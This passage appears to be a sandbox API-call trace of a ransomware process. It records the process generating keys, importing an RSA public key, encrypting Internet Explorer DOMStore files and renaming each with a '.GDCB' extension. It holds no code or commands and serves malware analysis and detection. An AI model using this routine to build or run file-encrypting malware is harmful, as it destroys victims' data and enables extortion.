phKey=0x285e670 | out: phKey=0x285e670*=0x67af9b0) returned 1 [0307.471] CryptGetKeyParam (in: hKey=0x67af9b0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0307.471] CryptEncrypt (in: hKey=0x67af9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0f0000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xe0f0000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0307.472] GetLastError () returned 0x0 [0307.472] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.472] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\8EURADBC\\c.betrad[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\8euradbc\\c.betrad[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0307.472] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xe100000 [0307.476] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xe110000 [0307.479] ReadFile (in: hFile=0x4f4, lpBuffer=0xe110000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0xe110000*, lpNumberOfBytesRead=0x285e828*=0xcb4e, lpOverlapped=0x0) returned 1 [0307.488] VirtualAlloc (lpAddress=0x0, dwSize=0xcb50, flAllocationType=0x3000, flProtect=0x4) returned 0xe220000 [0307.496] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\8EURADBC\\c.betrad[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\8euradbc\\c.betrad[1].xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\8EURADBC\\c.betrad[1].xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\8euradbc\\c.betrad[1].xml.gdcb")) returned 1 [0307.499] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0307.503] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.506] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.506] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0307.506] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0307.506] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0307.509] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.511] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.512] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0307.512] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.513] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0307.515] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67af9f0) returned 1 [0307.515] CryptGetKeyParam (in: hKey=0x67af9f0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0307.515] CryptEncrypt (in: hKey=0x67af9f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0e0000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xe0e0000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0307.515] GetLastError () returned 0x0 [0307.515] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.515] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4980) returned 1 [0307.517] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67afa30) returned 1 [0307.517] CryptGetKeyParam (in: hKey=0x67afa30, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0307.517] CryptEncrypt (in: hKey=0x67afa30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0f0000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xe0f0000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0307.517] GetLastError () returned 0x0 [0307.517] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0307.517] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\AU4UQGEP\\imagesrv.adition[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\au4uqgep\\imagesrv.adition[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0307.518] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xe100000 [0307.521] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xe110000 [0307.523] ReadFile (in: hFile=0x4f4, lpBuffer=0xe110000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0xe110000*, lpNumberOfBytesRead=0x285e828*=0x63, lpOverlapped=0x0) returned 1 [0307.529] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0xe220000 [0307.562] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\AU4UQGEP\\imagesrv.adition[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\au4uqgep\\imagesrv.adition[1].xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\AU4UQGEP\\imagesrv.adition[1].xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\au4uqgep\\imagesrv.adition[1].xml.gdcb")) returned 1 [0307.565] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0307.569] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.571] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.571] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0307.571] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.571] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0307.574] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.576] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.576] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0307.576] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.577] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0307.579] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67b04f0) returned 1 [0307.579] CryptGetKeyParam (in: hKey=0x67b04f0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0307.579] CryptEncrypt (in: hKey=0x67b04f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0e0000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xe0e0000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0307.579] GetLastError () returned 0x0 [0307.579] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0307.579] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0307.581] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67b0330) returned 1 [0307.581] CryptGetKeyParam (in: hKey=0x67b0330, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0307.581] CryptEncrypt (in: hKey=0x67b0330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0f0000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xe0f0000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0307.581] GetLastError () returned 0x0 [0307.581] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0307.581] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\CT0F6TC1\\c9.skadtec[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\ct0f6tc1\\c9.skadtec[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0307.582] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xe100000 [0307.585] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xe110000 [0307.588] ReadFile (in: hFile=0x4f4, lpBuffer=0xe110000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0xe110000*, lpNumberOfBytesRead=0x285e828*=0x153, lpOverlapped=0x0) returned 1 [0307.595] VirtualAlloc (lpAddress=0x0, dwSize=0x160, flAllocationType=0x3000, flProtect=0x4) returned 0xe220000 [0307.602] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\CT0F6TC1\\c9.skadtec[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\ct0f6tc1\\c9.skadtec[1].xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\CT0F6TC1\\c9.skadtec[1].xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\ct0f6tc1\\c9.skadtec[1].xml.gdcb")) returned 1 [0307.603] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4980) returned 1 [0307.607] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.609] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.609] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0307.609] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0307.609] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0307.612] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.614] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.614] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0307.614] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.615] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0307.617] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67b0370) returned 1 [0307.617] CryptGetKeyParam (in: hKey=0x67b0370, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0307.617] CryptEncrypt (in: hKey=0x67b0370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0e0000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xe0e0000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0307.617] GetLastError () returned 0x0 [0307.617] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.617] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0307.619] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67b02b0) returned 1 [0307.619] CryptGetKeyParam (in: hKey=0x67b02b0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0307.619] CryptEncrypt (in: hKey=0x67b02b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0f0000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xe0f0000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0307.620] GetLastError () returned 0x0 [0307.620] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0307.620] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\CT0F6TC1\\www.msn[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\ct0f6tc1\\www.msn[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0307.620] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xe100000 [0307.624] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xe110000 [0307.627] ReadFile (in: hFile=0x4f4, lpBuffer=0xe110000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0xe110000*, lpNumberOfBytesRead=0x285e828*=0x5db, lpOverlapped=0x0) returned 1 [0307.635] VirtualAlloc (lpAddress=0x0, dwSize=0x5e0, flAllocationType=0x3000, flProtect=0x4) returned 0xe220000 [0307.642] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\CT0F6TC1\\www.msn[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\ct0f6tc1\\www.msn[1].xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\CT0F6TC1\\www.msn[1].xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\ct0f6tc1\\www.msn[1].xml.gdcb")) returned 1 [0307.645] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0307.648] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.651] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.651] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0307.651] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0307.651] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4980) returned 1 [0307.654] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.657] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.657] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0307.657] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0307.657] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0307.660] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67b0770) returned 1 [0307.660] CryptGetKeyParam (in: hKey=0x67b0770, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0307.660] CryptEncrypt (in: hKey=0x67b0770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0e0000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xe0e0000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0307.660] GetLastError () returned 0x0 [0307.660] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0307.660] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0307.662] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67b01b0) returned 1 [0307.662] CryptGetKeyParam (in: hKey=0x67b01b0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0307.662] CryptEncrypt (in: hKey=0x67b01b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0f0000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xe0f0000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0307.662] GetLastError () returned 0x0 [0307.662] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.662] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\JUKMMX7P\\secure-ds.serving-sys[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\jukmmx7p\\secure-ds.serving-sys[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0307.663] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xe100000 [0307.666] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xe110000 [0307.670] ReadFile (in: hFile=0x4f4, lpBuffer=0xe110000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0xe110000*, lpNumberOfBytesRead=0x285e828*=0xd, lpOverlapped=0x0) returned 1 [0307.678] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0xe220000 [0307.681] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0xe230000 [0307.694] VirtualFree (lpAddress=0xe220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0307.697] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-13, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0307.697] WriteFile (in: hFile=0x4f4, lpBuffer=0xe230000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0xe230000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0307.697] VirtualFree (lpAddress=0xe230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0307.699] VirtualFree (lpAddress=0xe110000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0307.705] WriteFile (in: hFile=0x4f4, lpBuffer=0xe0e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0xe0e0000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0307.705] WriteFile (in: hFile=0x4f4, lpBuffer=0xe0f0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0xe0f0000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0307.705] WriteFile (in: hFile=0x4f4, lpBuffer=0xe100000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0xe100000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0307.705] CloseHandle (hObject=0x4f4) returned 1 [0307.705] VirtualFree (lpAddress=0xe100000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0307.708] VirtualFree (lpAddress=0xe0e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0307.710] VirtualFree (lpAddress=0xe0f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0307.712] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\JUKMMX7P\\secure-ds.serving-sys[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\jukmmx7p\\secure-ds.serving-sys[1].xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\JUKMMX7P\\secure-ds.serving-sys[1].xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\jukmmx7p\\secure-ds.serving-sys[1].xml.gdcb")) returned 1 [0307.883] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4980) returned 1 [0307.887] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.891] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.891] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0307.891] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0307.891] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0307.895] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.897] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.897] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0307.897] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.898] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0307.900] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67b01f0) returned 1 [0307.900] CryptGetKeyParam (in: hKey=0x67b01f0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0307.900] CryptEncrypt (in: hKey=0x67b01f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0e0000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xe0e0000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0307.900] GetLastError () returned 0x0 [0307.900] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0307.900] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0307.903] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67b07b0) returned 1 [0307.903] CryptGetKeyParam (in: hKey=0x67b07b0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0307.903] CryptEncrypt (in: hKey=0x67b07b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0f0000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xe0f0000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0307.903] GetLastError () returned 0x0 [0307.903] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0307.903] CreateFileW (lpFileName="C:\\Documents and 